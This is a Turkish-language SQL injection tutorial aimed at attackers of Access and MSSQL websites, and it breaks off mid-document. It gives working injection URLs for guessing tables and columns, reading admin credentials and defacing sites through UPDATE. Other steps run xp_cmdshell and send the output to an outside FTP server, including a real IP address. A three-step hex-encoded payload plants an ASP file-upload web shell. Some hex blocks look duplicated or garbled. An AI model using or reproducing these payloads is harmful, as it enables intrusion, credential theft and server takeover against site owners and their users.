

Sql Injection Anlatımı

Sizlere Access, mssql ve mysql sistemlerinde bildiğim sql injection yollarını anlatmaya çalışacağım

Access : Access sitelerde update olmaz. En başta bunu söyleyerek başlayayım. Boşuna update yapmaya çalışmayın. Access sistemlerde tablo ve kolon adlarını öğrenebileceğimiz bir yolda olmadığı için tablo ve kolon adlarını bulmak için tek yol tablo ve kolonları tahmin etmektir.

Diyelim ki sitemiz www.hedefite.com/haber.asp?id=1

şimdi yapacağımı union select ile bilgileri çekmeye çalışmaktır.

www.hedefsite.com/haber.asp?id=1+union+select+0+from+admin

bunu yazdıktan sonra eğer admin tablosu yok ise

-The Microsoft Jet database engine cannot find the input table or query 'admin'. Make sure it exists and that its name is spelled correctly.

var ise

-The number of columns in the two selected tables or queries of a union query do not match.

Şeklinde bi hata alınır. İlk hatayı aldıysak tabloyu tutturamamışız başka tablo adı denememiz gerekir. İkinci hatayı aldıysak tablo adı doğru demektir. Şimdiki işimiz kolon sayısını eşitlemek olacaktır. Hata değişene kadar 0 koymaya devam etmemiz gerekiyor.hata değiştikten sonra yada hata almazsak şimdiki işimiz kolon adlarını tahmin etmek.

Örnek olarak; www.hedefsite.com/haber.asp?id=1+union+select+username,password,0,0,0+from+admin

Access sitelerde sql injection yaparak eğer sitenin bi admin paneli varsa onun şifresini yada bir üyelik girişi falan varsa üyelerin şifrelerini alabiliriz.

Mssql : mssql sql injection için en uygun sistemdir diyebilirim. Mssql sistemlerde hataya zorlayacak karakterleri yazdığımız zaman örnek olarak : haber.asp?id=1'a unclosed hatası alıyorsa update yapabilir. Update yapmak için tablo ve kolon adlarını öğrenmek lazım

Öğrenmek için having 1=1 kullanırız.

www.hedefsite.com/news.asp?id=1+having+1=1

Column 'news.title' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Gibi bi hata alırız. News tablosunda title kolonu varmış.

Diğer kolon adlarını bulmak için

www.hedefsite.com/news.asp?id=1 group by title having 1=1

having 1=1 ‘den önce bulduğumuz kolon adlarını group by ile birlikte yazarak diğer kolon adlarını öğreniriz.

www.hedefsite.com/news.asp?id=1 update tablo_adi set kolon_adi='yazilmek istenen yazı';--
şekilde update yapılabilir.

Bir başka kolon ve tablo öğrenme şekli ise şöyle

www.hedefsite.com/news.asp?id=convert(int, (select top 1 name from sysobjects where xtype='U' and name>'a'))

bu yazdığımız kod ile alfabetik olarak ‘a’ karakterinden büyük olan ilk tablonun adını öğreniriz. Mesela article tablosunu verdi bize. Daha sonra

www.hedefsite.com/news.asp?id=convert(int, (select top 1 name from sysobjects where xtype='U' and name>'article'))

yazarak article tablosundan daha sonra gelen tabloyu buluruz bu şekilde tüm tablo adlarını bulabiliriz.

www.hedefsite.com/news.asp?id= convert(int, (select top 1 name from syscolumns where colid=COLUMNID and id=(select top 1 id from sysobjects where xtype='U' and name='kolonlarını öğrenmek istediğimiz tablo adı')))

yazarak biraz önce adını öğrendiğimiz tablonun kolon adlarını öğrenebiliriz. COLUMNID yazan yere 1 , 2 , 3 yazarak sırayla tabloda bulunan kolonları alfabetik olarak öğrenebiliriz.

Having 1=1 ile sadece 1 tablonun adı ve kolon adları öğrenilebilirken bu yöntemle tüm tablo ve kolonlar öğrenilebilir.

Uygulanacak başka bir yol ise veri tabanı kullanıcısı dbo yani admin ise veri tabanında cmd komutu çalıştırabilir bunun sonucunu bir ftp’ye yazdırabiliriz yada istediğimiz bir sorgu sonucunu yine ftp’ye yazdırabiliriz. Burada ihtiyacımız olan yazılabilir ve şifresiz ulaşılabilen bir ftp server ve veri tabanı kullanıcısının dbo olmasıdır. Zaten bu yöntemi video ile anlatmıştım.

Bir sorgu sonucunu ftp’ye yazdırma

www.hedefsite.com/news.asp?id=1;exec+sp_makewebtask+'ftpserv
er/a.html', 'select+*+from+tablo_adi';--

cmd komutu sonucunu ftp’ye yazdırma

www.hedefsite.com/news.asp?id=1;exec master..xp_cmdshell 'dir c:\\\\ > test1.txt';drop table deneme1;CREATE TABLE deneme1 (txt varchar(8000));BULK INSERT deneme1 FROM 'test1.txt';exec+sp_makewebtask+'ftpserver/a.html', 'select+* +from+deneme1';

başka uygulanacak bir yöntem ise serverda dosya oluşturmaktır. Bu şekilde servera fso upload edebilir yada direk index atabiliriz. Yine veri tabanı kullanıcısının admin olması gerekmektedir. Yöntemi kısaca anlatayım. Bununla ilgili 2 video çekmiştim zaten. Şimdi bizim tablodaki verileri dosyaya yazdırma şansımız var. O zaman biz bir tablo oluşturup sonra bu tablo içine oluşturmak istediğimiz dosyaların insert edersek daha sonra bu tablodaki verileri dosyaya yazdırarak serverda istediğimiz dosyayı oluşturabiliriz. Burada dosyaları hex koduna çevirerek insert etmek yararımıza olacaktır çünkü dosyaların içinde bulunan verileri injectionı muhtemelen bozacaktır. Bununla ilgili 2 videom zaten var onlara bakarak çok daha iyi anlayabilirsiniz.

Toplu Sql komut islemleri;

Makina adi: www.hedefsite.com/news.asp?id=1 and 1=convert(int, @@servername);--

Version: www.hedefsite.com/news.asp?id=1 and 1=convert(int, @@version);--

Servis Adi: www.hedefsite.com/news.asp?id=1 and 1=convert(int, @@servicename);--

Veri tabani isimleri: www.hedefsite.com/news.asp?id=1 and 1=convert(int, db_name(0));--

db_name(0) -> burdaki 0 yerine 1,2,3,4 ... yazarakdan diger veritabani isimlerine ulasabilirsiniz. Bu islem site hata vermeyene kadar devam eder.

Tablo Cekme: www.hedefsite.com/news.asp?id=1 and 1=convert(int, (select top 1 name from sysobjects where xtype='u'and name>'aaa')));--

'u'and name>'aaa' -> en kucuk kelime isle baslanir. Donen hatadan ayikliyacagimiz tablo ismini bu sefer 'aaa' yerine yazacagiz. Mesela 'admin' kelimesi dondu. O zaman name>'admin' yazip, bir sonraki tablo ismine ulasmaya calisacaz. Mantik bu sekilde devam eder taki site hatasiz acilanana kadar.

Kolon Cekme: www.hedefsite.com/news.asp?id=1 and 1=convert(int, (select top 1 name from syscolumns where colid=1 and id=(select top 1 id from sysobjects where xtype='u' and name='tblUser')));--

Tablo cekme islemi ile tablolari bulduktan sonra, hangi tablonun kolonlarini ogrenmek istiyorsak, onun adini name ='tblUser' kismina yazmaniz gerekir. Daha sonrada colid=1 den basliarakdan site hatasiz acilanana kadar colid=1,2,3,4,.. seklinde devam eder. Boylece site hata vererek her seferinde kolon ismi donecektir.

Veri Okuma: www.hedefsite.com/news.asp?id=1 and 1=convert(int, (select top 1 username from tblUsers where ID>6));--

Burda islemler daha karisik. Tablonun hangi kolonunun degerini okuyacaksak username yazan yeri degistirmelisiniz. Ayrica tablo adi ve ID kolon adi ve degeri. Degistirilmesi gereken 4 tane degiskenimiz var. Kolon, tablo, ID kolon adi ve degeri.

Update: www.hedefsite.com/news.asp?id=1 and 1=1; update tblAdmin set username='ejder';-

www.hedefsite.com/news.asp?id=1 update tblAdmin set username='ejder';--

Seklinde tureyebilir. Sorun suki, hangi sql islemi uygularsam yada nasil sekillendirsem update islemi uyguladigimda, site sorunsuz acilir. Bildiginiz uzere update isleminde site sorunsuz acilirsa, islenmis demektir. Simdi diger islemlerde hata aldikca bisiler ogrendik. Bu sefer hatasiz acilmasini isteyecez. Bunun icin her turlu taklayi atmamiz gerek ☺

Dbo olup olmadigina bakmak icin : www.hedefsite.com/news.asp?id=1 and 1=convert(int,(select+user));--

Dbo kullanicisinin yetkisine bakma: www.hedefsite.com/news.asp?id=1 and 1=convert(int,(select+cast(sid%20as%20char)+from+sysusers+where+name='mdy SQL'))

Dbo olmayan kullanicinin durumuna bakmak icin admin yetkili ise ' ' seklinde bir bosluk verir. Kullanici adini mdy SQL yazan yere yazilmali.

Dosya listesine ulasmak: www.hedefsite.com/news.asp?id=1 ;exec%20master..xp_cmdshell 'dir d:\www.ntc.edu\courses%3E test1.txt';drop table deneme1;CREATE TABLE deneme1 (txt varchar(8000));BULK INSERT deneme1 FROM 'test1.txt';exec+sp_makewebtask+'ftp://212.3.111.97/incoming/1emre.html','select+*+from+deneme1';--

dbo veya admin yetkili kullanıcı sitesinin bilgilerini ftp ye dokmek icin ftp adresi yazıyor zaten dizinleride burda d:\www.ntc.edu\courses olan yere yazilmali.. C:\ gibi D:\ gibi.

Tablo yaratma: www.hedefsite.com/news.asp?id=1 ;create table bilgi (txt varchar(8000),id int);--

Shell yani FSO yuklemek icin gerekli adimler:

Ilk once tablo yaramaliyiz.

;create table fso (txt varchar(8000),id int);--

Sonrada Fso kodlarini Hex olarak yuklememiz gerek. 3 adimda yapacagiz yukleme islemini.

Birinci adim:

```
www.hedefsite.com/news.asp?id=1;declare @q varchar(8000) select
@q=0x696E7365727420696E746F2066736F20287478742C6964292076616C7565732028273C48544D4C3E3C484541443
E3C212D2D23696E636C7564652066696C653D22636C7355706C6F61645F312E617370222D2D3E3C212D2D23696E636
C7564652066696C653D22636C7355706C6F61645F322E617370222D2D3E3C2F484541443E3C424F44593E3C464F524D
20414354494F4E203D2022636C7355706C6F6164544553542E6173702220454E43545950453D226D756C7469706172742
F666F726D2D6461746122204D4554484F443D22504F5354223E46696C65204E616D65203C494E50555420545950453D4
6494C45204E414D453D2274787446696C65223E3C503E3C494E5055542054595045203D20225355424D495422204E414
D453D22636D645375626D6974222056414C55453D225355424D4954223E3C2F464F524D3E3C503E3C25736574206F20
3D206E657720636C7355706C6F6164253E3C256966206F2E4578697374732822636D645375626D69742229207468656E2
53E3C257346696C6553706C6974203D2073706C6974286F2E46696C654E616D654F66282274787446696C6522292C202
25C2229253E3C257346696C65203D207346696C6553706C69742855626F756E64287346696C6553706C69742929253E3
C256F2E46696C65496E7075744E616D65203D202274787446696C6522253E3C256F2E46696C6546756C6C50617468203
```

D205365727665722E4D61705061746828222E2229202620225C222026207346696C65253E3C256F2E73617665253E3C25
206966206F2E4572726F72203D20222207468656E253E3C25726573706F6E73652E77726974652022537563636573732E
2046696C6520736176656420746F2020222026206F2E46696C6546756C6C50617468202620222E2044656D6F20496E7075
74203D20222026206F2E56616C75654F66282244656D6F2229253E3C2520656C7365253E3C25726573706F6E73652E777
269746520224661696C65642064756520746F2074686520666F6C6C6F77696E67206572726F7220222026206F2E4572726
F72253E3C2520656E64206966253E3C25656E64206966253E3C25736574206F203D206E6F7468696E67253E3C2F424F4
4593E3C2F48544D4C3E272C3129 exec(@q)

Hex in karsiligi;

```
insert into fso (txt_id) values ('<HTML><HEAD><!--#include file="clsUpload_1.asp"--><!--#include  
file="clsUpload_2.asp"--></HEAD><BODY><FORM ACTION = "clsUploadTEST.asp" ENCTYPE="multipart/form-data"  
METHOD="POST">File Name <INPUT TYPE=FILE NAME="txtFile"><P><INPUT TYPE = "SUBMIT"  
NAME="cmdSubmit" VALUE="SUBMIT"></FORM><P><%set o = new clsUpload%><%if o.Exists("cmdSubmit")  
then%><%sFileSplit = split(o.FileNameOf("txtFile"), "\")%><%sFile =  
sFileSplit(Ubound(sFileSplit))%><%o.FileInputName = "txtFile"%><%o.FileFullPath = Server.MapPath(".") & "\" &  
sFile%><%o.save%><% if o.Error = "" then%><%response.write "Success. File saved to " & o.FileFullPath & ". Demo  
Input = " & o.ValueOf("Demo")%><% else%><%response.write "Failed due to the following error " & o.Error%><% end  
if%><%end if%><%set o = nothing%></BODY></HTML>,>1)
```

Ikinci Adim:

```
www.hedefsite.com/news.asp?id=1;declare @q varchar(8000) select  
@q=0x696E7365727420696E746F2066736F20287478742C6964292076616C7565732028273C25436C61737320636C7346  
69656C64253E3C255075626C69632046696C654E616D65253E3C255075626C696320436F6E74656E7454797065253E3C  
255075626C69632056616C7565253E3C255075626C6963204669656C644E616D65253E3C255075626C6963204C656E67  
7468253E3C255075626C69632042696E61727944617461253E3C25456E6420436C617373253E3C25436C61737320636C7  
355706C6F6164253E3C2550726976617465206E4669656C64436F756E74253E3C2550726976617465206F4669656C6473  
2829253E3C255072697661746520707346696C6546756C6C50617468253E3C25507269766174652070734572726F72253E  
3C255072697661746520707346696C65496E7075744E616D65253E3C255075626C69632050726F70657274792047657420  
436F756E742829253E3C25436F756E74203D206E4669656C64436F756E74253E3C25456E642050726F7065727479253E3  
C255075626C69632044656661756C742050726F706572747920476574204669656C642842795265662061734669656C644  
E616D6529253E3C2544696D206C6E4C656E677468253E3C2544696D206C6E496E646578253E3C256C6E4C656E67746  
8203D2055426F756E64286F4669656C647329253E3C2549662049734E756D657269632861734669656C644E616D652920  
5468656E253E3C254966206C6E4C656E677468203E3D2061734669656C644E616D6520416E642061734669656C644E61  
6D65203E202D31205468656E253E3C25536574204669656C64203D204E657720636C734669656C64732861734669656C644E616D6529  
253E3C25456C7365253E3C25536574204669656C64203D204E657720636C734669656C64253E3C25456E64204966253E  
3C25456C7365253E3C25466F72206C6E496E646578203D203020546F206C6E4C656E677468253E3C254966204C436173  
65286F4669656C6473286C6E496E646578292E4669656C644E616D6529203D204C436173652861734669656C644E616D  
6529205468656E253E3C25536574204669656C64203D206F4669656C6473286C6E496E64657829253E3C2545786974205  
0726F7065727479253E3C25456E64204966253E3C254E657874253E3C25536574204669656C64203D204E657720636C73  
4669656C64253E3C25456E64204966253E3C25456E642050726F7065727479253E3C255075626C69632046756E6374696  
F6E204578697374732842795265662061764B6579496E64657829253E3C25457869737473203D204E6F7420496E6465784  
F662861764B6579496E64657829203D202D31253E3C25456E642046756E6374696F6E253E3C255075626C69632050726  
F7065727479204765742056616C75654F662842795265662061764B6579496E64657829253E3C2544696D206C6E496E64  
6578253E3C256C6E496E646578203D20496E6465784F662861764B6579496E64657829253E3C256966206C6E496E646578  
78203D202D31205468656E20457869742050726F7065727479253E3C2556616C75654F66203D206F4669656C6473286C6  
E496E646578292E56616C7565253E3C25456E642050726F7065727479253E3C255075626C69632050726F706572747920  
4765742046696C654E616D654F662842795265662061764B6579496E64657829253E3C2544696D206C6E496E646578253  
E3C256C6E496E646578203D20496E6465784F662861764B6579496E64657829253E3C256966206C6E496E646578203D2  
02D31205468656E20457869742050726F7065727479253E3C2546696C654E616D654F66203D206F4669656C6473286C6  
E496E646578292E46696C654E616D65253E3C25456E642050726F7065727479253E3C255075626C69632050726F706572  
747920476574204C656E6774684F662842795265662061764B6579496E64657829253E3C2544696D206C6E496E6465782  
53E3C256C6E496E646578203D20496E6465784F662861764B6579496E64657829253E3C256966206C6E496E646578203  
D202D31205468656E20457869742050726F7065727479253E3C254C656E6774684F66203D206F4669656C6473286C6E4  
96E646578292E4C656E677468253E3C25456E642050726F7065727479253E3C255075626C69632050726F706572747920  
4765742042696E617279446174614F662842795265662061764B6579496E64657829253E3C2544696D206C6E496E646578  
253E3C256C6E496E646578203D20496E6465784F662861764B6579496E64657829253E3C2546696C654E616D654F66203D206F4669656C6473286C6  
E496E646578292E46696C654E616D65253E3C25456E642050726F7065727479253E3C255075626C69632050726F706572  
747920476574204C656E6774684F662842795265662061764B6579496E64657829253E3C2544696D206C6E496E6465782  
53E3C256C6E496E646578203D20496E6465784F662861764B6579496E64657829253E3C256966206C6E496E646578203  
D202D31205468656E20457869742050726F7065727479253E3C254C656E6774684F66203D206F4669656C6473286C6E4  
96E646578292E4C656E677468253E3C25456E642050726F7065727479253E3C255075626C69632050726F706572747920  
4765742042696E617279446174614F662842795265662061764B6579496E64657829253E3C2544696D206C6E496E646578  
253E3C2549662061764B6579496E646578203D20222205468656E253E3C25496E6465784F66203D202D31253E3C2545  
6C736549662049734E756D657269632861764B6579496E64657829205468656E253E3C2561764B6579496E646578203D2  
0434C6E672861764B6579496E64657829253E3C254966206E4669656C64436F756E74203E2061764B6579496E64657820  
416E642061764B6579496E646578203E202D31205468656E253E3C25496E6465784F66203D2061764B6579496E6465782  
53E3C25456C7365253E3C25496E6465784F66203D202D31253E3C25456E64204966253E3C25456C7365253E3C25466F  
72206C6E496E646578203D203020546F206E4669656C64436F756E74202D2031253E3C254966204C43617365286F46696  
56C6473286C6E496E646578292E4669656C644E616D6529203D204C436173652861764B6579496E64657829205468656
```

E253E3C25496E6465784F66203D206C6E496E646578253E3C25457869742046756E6374696F6E253E3C25456E6420496
6253E3C254E657874253E3C25496E6465784F66203D202D31253E3C25456E64204966253E3C25456E642046756E63746
96F6E253E3C255075626C69632050726F7065727479204C65742046696C6546756C6C50617468287356616C756529253E
3C25707346696C6546756C6C50617468203D207356616C7565253E3C25456E642050726F7065727479253E3C2550726F
C69632050726F7065727479204765742046696C6546756C6C506174682829253E3C2546696C6546756C6C50617468203D
20707346696C6546756C6C5061746820253E3C25456E642050726F7065727479253E3C255075626C69632050726F70657
27479204C65742046696C65496E7075744E616D65287356616C756529253E3C25707346696C65496E7075744E616D6520
3D207356616C7565253E3C25456E642050726F7065727479253E3C255075626C69632046756E6374696F6E20536176652
829253E3C25696620707346696C6546756C6C50617468203C3E2022220616E6420707346696C65496E7075744E616D65
203C3E20222207468656E253E3C254F6E206572726F7220726573756D65206E657874253E3C2562696E44617461203D2
06F2E42696E617279446174614F6628707346696C65496E7075744E616D6529253E3C25736574207273203D2073657276
65722E6372656174656F626A656374282241444F44422E5245434F52445345542229253E3C2572732E6669656C64732E61
7070656E64202246696C654E616D65222C203230352C204C656E422862696E4461746129253E3C2572732E6F70656E253
E3C2572732E6164646E6577253E3C252072732E6669656C64732830292E417070656E644368756E6B2062696E44617461
20253E3C256966206572722E6E756D626572203D2030207468656E253E3C25736574206F626A53747265616D203D2053
65727665722E4372656174654F626A656374282241444F44422E53747265616D2229253E3C25206F626A53747265616D2
E54797065203D2031253E3C2520206F626A53747265616D2E4F70656E253E3C25206F626A53747265616D2E577269746
52072732E6669656C6473282246696C654E616D6522292E76616C756520253E3C256F626A53747265616D2E636C6F7365253E3C25736
574206F626A53747265616D203D204E6F7468696E67253E3C25454E64206966253E3C2572732E636C6F7365253E3C257
36574207273203D206E6F7468696E67253E3C2570734572726F72203D204572722E4465736372697074696F6E253E3C25
656C7365253E3C2570734572726F72203D20224F6E65206F72206D6F72652072657175697265642070726F706572746965
73202846696C6546756C6C5061746820616E642F6F722046696C65496E7075744E616D6529206E6F742073657422253E3
C2520456E64204966253E3C25456E642046756E6374696F6E253E272C3229 exec(@q)

Hex Karsiligi;

```
insert into fso (txt,id) values ('<%Class clsField%><%Public FileName%><%Public ContentType%><%Public  
Value%><%Public FieldName%><%Public Length%><%Public BinaryData%><%End Class%><%Class  
clsUpload%><%Private nFieldCount%><%Private oFields()%><%Private psFileFullPath%><%Private  
psError%><%Private psFileInputName%><%Public Property Get Count()%><%Count = nFieldCount%><%End  
Property%><%Public Default Property Get Field(ByRef asFieldName)%><%Dim lnLength%><%Dim  
lnIndex%><%lnLength = UBound(oFields)%><%If IsNumeric(asFieldName) Then%><%If lnLength >= asFieldName And  
asFieldName > -1 Then%><%Set Field = oFields(asFieldName)%><%Else%><%Set Field = New clsField%><%End  
If%><%Else%><%For lnIndex = 0 To lnLength%><%If LCase(oFields(lnIndex).FieldName) = LCase(asFieldName)  
Then%><%Set Field = oFields(lnIndex)%><%Exit Property%><%End If%><%Next%><%Set Field = New  
clsField%><%End If%><%End Property%><%Public Function Exists(ByRef avKeyIndex)%><%Exists = Not  
IndexOf(avKeyIndex) = -1%><%End Function%><%Public Property Get ValueOf(ByRef avKeyIndex)%><%Dim  
lnIndex%><%lnIndex = IndexOf(avKeyIndex)%><%if lnIndex = -1 Then Exit Property%><%ValueOf =  
oFields(lnIndex).Value%><%End Property%><%Public Property Get FileNameOf(ByRef avKeyIndex)%><%Dim  
lnIndex%><%lnIndex = IndexOf(avKeyIndex)%><%if lnIndex = -1 Then Exit Property%><%FileNameOf =  
oFields(lnIndex).FileName%><%End Property%><%Public Property Get LengthOf(ByRef avKeyIndex)%><%Dim  
lnIndex%><%lnIndex = IndexOf(avKeyIndex)%><%if lnIndex = -1 Then Exit Property%><%LengthOf =  
oFields(lnIndex).Length%><%End Property%><%Public Property Get BinaryDataOf(ByRef avKeyIndex)%><%Dim  
lnIndex%><%lnIndex = IndexOf(avKeyIndex)%><%if lnIndex = -1 Then Exit Property%><%BinaryDataOf =  
oFields(lnIndex).BinaryData%><%End Property%><%Private Function IndexOf(ByVal avKeyIndex)%><%Dim  
lnIndex%><%If avKeyIndex = "" Then%><%IndexOf = -1%><%ElseIf IsNumeric(avKeyIndex) Then%><%avKeyIndex =  
CLng(avKeyIndex)%><%If nFieldCount > avKeyIndex And avKeyIndex > -1 Then%><%IndexOf =  
avKeyIndex%><%Else%><%IndexOf = -1%><%End If%><%Else%><%For lnIndex = 0 To nFieldCount - 1%><%If  
LCase(oFields(lnIndex).FieldName) = LCase(avKeyIndex) Then%><%IndexOf = lnIndex%><%Exit Function%><%End  
If%><%Next%><%IndexOf = -1%><%End If%><%End Function%><%Public Property Let  
FileFullPath(sValue)%><%psFileFullPath = sValue%><%End Property%><%Public Property Get  
FileFullPath()%><%FileFullPath = psFileFullPath %><%End Property%><%Public Property Let  
FileInputName(sValue)%><%psFileInputName = sValue%><%End Property%><%Public Function Save()%><%if  
psFileFullPath <> "" and psFileInputName <> "" then%><%On error resume next%><%binData =  
o.BinaryDataOf(psFileInputName)%><%set rs = server.createobject("ADODB.RECORDSET")%><%rs.fields.append  
"FileName", 205, LenB(binData)%><%rs.open%><%rs.addnew%><% rs.fields(0).AppendChunk binData %><%if  
err.number = 0 then%><%set objStream = Server.CreateObject("ADODB.Stream")%><% objStream.Type = 1%><%  
objStream.Open%><% objStream.Write rs.fields("FileName").value %><%objStream.SaveToFile psFileFullPath,  
2%><%objStream.close%><%set objStream = Nothing%><%END if%><%rs.close%><%set rs = nothing%><%psError =  
Err.Description%><%else%><%psError = "One or more required properties (FileFullPath and/or FileInputName) not  
set"%><% End If%><%End Function%>',2)
```

Ucuncu Adim:

[www.hedefsite.com/news.asp?id=1;declare @q varchar\(8000\) select @q=0x696E7365727420696E746F2066736F20287478742C6964292076616C7565732028273C255075626C69632050726F706572747920476574204572726F722829253E3C254572726F72203D2070734572726F72253E3C25456E642050726F7065](http://www.hedefsite.com/news.asp?id=1;declare @q varchar(8000) select @q=0x696E7365727420696E746F2066736F20287478742C6964292076616C7565732028273C255075626C69632050726F706572747920476574204572726F722829253E3C254572726F72203D2070734572726F72253E3C25456E642050726F7065)

727479253E3C255075626C69632050726F70657274792047657420436F6E74656E74547970654F662842795265662061764
B6579496E64657829253E3C2544696D206C6E496E646578253E3C256C6E496E646578203D20496E6465784F662861764
B6579496E64657829253E3C256966206C6E496E646578203D202D31205468656E20457869742050726F7065727479253E
3C25436F6E74656E74547970654F66203D206F4669656C6473286C6E496E646578292E436F6E74656E7454797065253E3
C25456E642050726F7065727479253E3C25507269766174652053756220436C6173735F5465726D696E6174652829253E3
C2544696D206C6E496E646578253E3C25466F72206C6E496E646578203D203020546F206E4669656C64436F756E74202
D2031253E3C25536574206F4669656C6473283029203D204E6F7468696E67253E3C254E657874253E3C25456E6420537
562253E3C25507269766174652053756220436C6173735F496E697469616C697A652829253E3C2544696D206C6E427974
6573253E3C2544696D206C6E42797465436F756E74253E3C2544696D206C6E5374617274506F736974696F6E253E3C25
44696D206C6E456E64506F736974696F6E253E3C2544696D206C6F446963253E3C2544696D206C6E426F756E6461727
94279746573253E3C2544696D206C6E426F756E646172795374617274253E3C2544696D206C6E426F756E64617279456
E64253E3C2544696D206C6E446973706F736974696F6E506F736974696F6E253E3C2544696D206C734669656C644E616
D65253E3C2544696D206C7346696C654E616D65253E3C2544696D206C6E46696C654E616D65506F736974696F6E253
E3C2544696D206C6F4669656C64253E3C2544696D206C7356616C7565253E3C2544696D206C73436F6E74656E745479
7065253E3C256E4669656C64436F756E74203D2030253E3C25526544696D206F4669656C6473282D3129253E3C256C6
E42797465436F756E74203D20526571756573742E546F74616C4279746573253E3C256C6E4279746573203D2052657175
6573742E42696E61727952656164286C6E42797465436F756E7429253E3C256C6E5374617274506F736974696F6E203D2
031253E3C256C6E456E64506F736974696F6E203D20496E73747242286C6E5374617274506F736974696F6E2C206C6E4
2797465732C20435374724228766243722929253E3C254966206C6E456E64506F736974696F6E203E3D206C6E53746172
74506F736974696F6E205468656E253E3C256C6E426F756E646172794279746573203D204D696442286C6E42797465732
C206C6E5374617274506F736974696F6E2C206C6E456E64506F736974696F6E202D206C6E5374617274506F736974696
F6E29253E3C25456E64204966253E3C256C6E426F756E646172795374617274203D20496E7374724228312C206C6E427
97465732C206C6E426F756E64617279427974657329253E3C25446F20556E74696C20286C6E426F756E64617279537461
7274203D20496E73747242286C6E42797465732C206C6E426F756E646172794279746573202620435374724228222D2D2
22929253E3C25526544696D205072657365727665206F4669656C6473286E4669656C64436F756E7429253E3C256E46
69656C64436F756E74203D206E4669656C64436F756E74202B2031253E3C25536574206C6F4669656C64203D204E6577
20636C734669656C64253E3C256C6E446973706F736974696F6E506F736974696F6E203D20496E73747242286C6E426F
756E6461727953746172742C206C6E42797465732C2043537472422822436F6E74656E742D446973706F736974696F6E2
22929253E3C256C6E5374617274506F736974696F6E203D20496E73747242286C6E446973706F736974696F6E506F7369
74696F6E2C206C6E42797465732C20435374724228226E616D653D222929202B2036253E3C256C6E456E64506F736974
696F6E203D20496E73747242286C6E5374617274506F736974696F6E2C206C6E42797465732C20435374724228222222
22929253E3C256C6E5374617274506F736974696F6E203D2043537472422822436F6E74656E742D446973706F736974696F6E2
22929253E3C256C6E5374617274506F736974696F6E203D20496E73747242286C6E446973706F736974696F6E506F7369
74696F6E2C206C6E42797465732C20435374724228226E616D653D222929202B2036253E3C256C6E456E64506F736974
696F6E203D20496E73747242286C6E5374617274506F736974696F6E2C206C6E42797465732C20435374724228222222
22929253E3C256C6E34669656C644E616D65203D204353747255284D696442286C6E42797465732C206C6E53746172745
06F736974696F6E2C206C6E456E64506F736974696F6E202D206C6E5374617274506F736974696F6E2929253E3C256C6
F4669656C642E4669656C644E616D65203D206C734669656C644E616D65253E3C256C6E46696C654E616D65506F7369
74696F6E203D20496E73747242286C6E426F756E6461727953746172742C206C6E42797465732C2043537472422822666
96C656E616D653D222929253E3C256C6E426F756E64617279456E64203D20496E73747242286C6E456E64506F7369746
96F6E2C206C6E42797465732C206C6E426F756E64617279427974657329253E3C254966204E6F74206C6E46696C654E6
16D65506F736974696F6E203D203020416E64206C6E46696C654E616D65506F736974696F6E203C206C6E426F756E646
17279456E64205468656E253E3C256C6E5374617274506F736974696F6E203D206C6E46696C654E616D65506F7369746
96F6E206203130253E3C256C6E456E64506F736974696F6E203D20496E73747242286C6E5374617274506F736974696
F6E2C206C6E42797465732C2043537472422822222222929253E3C256C7346696C654E616D65203D204353747255284
D696442286C6E42797465732C6C6E5374617274506F736974696F6E2C6C6E456E64506F736974696F6E2D6C6E537461
7274506F736974696F6E2929253E3C256C6F4669656C642E46696C654E616D65203D206C7346696C654E616D65253E3
C256C6E5374617274506F736974696F6E203D20496E73747242286C6E456E64506F736974696F6E2C6C6E42797465732
C43537472422822436F6E74656E742D54797065222929202B203134253E3C256C6E456E64506F736974696F6E203D204
96E73747242286C6E5374617274506F736974696F6E2C6C6E42797465732C435374724228766243722929253E3C256C7
436F6E74656E7454797065203D204353747255284D696442286C6E42797465732C6C6E5374617274506F736974696F6E2
C6C6E456E64506F736974696F6E2D6C6E5374617274506F736974696F6E2929253E3C256C6F4669656C642E436F6E74
656E7454797065203D206C73436F6E74656E7454797065253E3C256C6E5374617274506F736974696F6E203D206C6E45
6E64506F736974696F6E202B2034253E3C256C6E456E64506F736974696F6E203D20496E73747242286C6E5374617274
506F736974696F6E2C6C6E42797465732C6C6E426F756E646172794279746573292D32253E3C256C7356616C7565203D
204D696442286C6E42797465732C6C6E5374617274506F736974696F6E2C6C6E456E64506F736974696F6E2D6C6E537
4617274506F736974696F6E29253E3C256C6F4669656C642E42696E61727944617461203D206C7356616C756520262043
537472422876624E756C6C29253E3C256C6F4669656C642E4C656E677468203D204C656E42286C7356616C756529253
E3C25456C7365253E3C256C6E5374617274506F736974696F6E203D20496E73747242286C6E446973706F736974696F6
E506F736974696F6E2C206C6E42797465732C20435374724228766243722929202B2034253E3C256C6E456E64506F7369
74696F6E203D20496E73747242286C6E5374617274506F736974696F6E2C206C6E42797465732C206C6E426F756E6461
7279427974657329202D2032253E3C256C7356616C7565203D204353747255284D696442286C6E42797465732C6C6E53
74617274506F736974696F6E2C6C6E456E64506F736974696F6E2D6C6E5374617274506F736974696F6E2929253E3C25
6C6F4669656C642E56616C7565203D206C7356616C7565253E3C256C6F4669656C642E4C656E677468203D204C656E2
86C7356616C756529253E3C25456E64204966253E3C25536574206F4669656C64732855426F756E64286F4669656C6473
2929203D206C6F4669656C64253E3C256C6E426F756E646172795374617274203D20496E73747242286C6E426F756E64
6172795374617274202B204C656E42286C6E426F756E646172794279746573292C206C6E42797465732C206C6E426F756
E64617279427974657329253E3C25536574206C6F4669656C64203D204E6F7468696E67253E3C254C6F6F70253E3C254
56E6420537562253E3C25507269766174652046756E6374696F6E2043537472552842795265662070734279746553747269
6E6729253E3C2544696D206C6E4C656E677468253E3C2544696D206C6E506F736974696F6E253E3C256C6E4C656E67
7468203D204C656E4228707342797465537472696E6729253E3C25466F72206C6E506F736974696F6E203D203120546F2

06C6E4C656E677468253E3C254353747255203D2043537472552026204368722841736342284D696442287073427974655
37472696E672C206C6E506F736974696F6E2C2031292929253E3C254E657874253E3C25456E642046756E6374696F6E2
53E3C25507269766174652046756E6374696F6E204353747242284279526566207073556E69636F6465537472696E672925
3E3C2544696D206C6E4C656E677468253E3C2544696D206C6E506F736974696F6E253E3C256C6E4C656E677468203D
204C656E287073556E69636F6465537472696E6729253E3C25466F72206C6E506F736974696F6E203D203120546F206C6
E4C656E677468253E3C254353747242203D204353747242202620436872422841736342284D6964287073556E69636F646
5537472696E672C206C6E506F736974696F6E2C2031292929253E3C254E657874253E3C25456E642046756E6374696F6
E253E3C25456E6420436C617373253E272C3329 exec(@q)

Hex karsiligi;

```
